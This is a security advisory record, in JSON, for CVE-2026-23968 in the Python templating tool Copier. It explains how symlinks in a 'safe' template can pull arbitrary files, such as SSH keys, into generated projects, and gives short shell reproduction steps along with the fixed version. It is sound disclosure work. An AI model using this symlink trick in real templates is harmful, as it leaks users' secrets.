{"id":"CVE-2026-23968","aliases":["GHSA-xjhm-gp88-8pfx","PYSEC-2026-1274"],"url":"https://o3.security/vulnerability/CVE-2026-23968","summary":"Copier safe template has arbitrary filesystem read access via symlinks when _preserve_symlinks: false","details":"### Impact\n\nCopier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use [unsafe](https://copier.readthedocs.io/en/stable/configuring/#unsafe) features like custom Jinja extensions which would require passing the `--UNSAFE,--trust` flag. As it turns out, a safe template can currently include arbitrary files/directories outside the local template clone location by using symlinks along with [`_preserve_symlinks: false`](https://copier.readthedocs.io/en/stable/configuring/#preserve_symlinks) (which is Copier's default setting). \n\nImagine, e.g., a malicious template author who creates a template that reads SSH keys or other secrets from well-known locations and hopes for a user to push the generated project to a public location like [github.com](https://github.com/) where the template author can extract the secrets.\n\nReproducible example:\n\n- Illegally include a file in the generated project via symlink resolution:\n\n    ```shell\n    echo \"s3cr3t\" > secret.txt\n\n    mkdir src/\n    pushd src/\n    ln -s ../secret.txt stolen-secret.txt\n    popd\n\n    uvx copier copy src/ dst/\n\n    cat dst/stolen-secret.txt\n    #s3cr3t\n    ```\n\n- Illegally include a directory in the generated project via symlink resolution:\n\n    ```shell\n    mkdir secrets/\n    pushd secrets/\n    echo \"s3cr3t\" > secret.txt\n    popd\n\n    mkdir src/\n    pushd src/\n    ln -s ../secrets stolen-secrets\n    popd\n\n    uvx copier copy src/ dst/\n\n    tree dst/\n    # dst/\n    # └── stolen-secrets\n    #     └── secret.txt\n    #\n    # 1 directory, 1 file\n    cat dst/stolen-secrets/secret.txt\n    # s3cr3t\n    ```\n\n### Patches\n\nn/a\n\n### Workarounds\n\nn/a\n\n### References\n\nn/a","published":"2026-01-21T22:13:25.377Z","modified":"2026-08-12T03:51:08.895696536Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"PyPI","name":"copier","fixedVersion":"9.11.2"}],"fix":{"url":"https://github.com/copier-org/copier/commit/b3a7b3772d17cf0e7a4481978188c9f536c8d8f6","label":"copier-org/copier@b3a7b37"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/23xxx/CVE-2026-23968.json"},{"type":"ADVISORY","url":"https://github.com/copier-org/copier/security/advisories/GHSA-xjhm-gp88-8pfx"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-23968"},{"type":"FIX","url":"https://github.com/copier-org/copier/commit/b3a7b3772d17cf0e7a4481978188c9f536c8d8f6"},{"type":"PACKAGE","url":"https://github.com/copier-org/copier"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:08.895696536Z"}}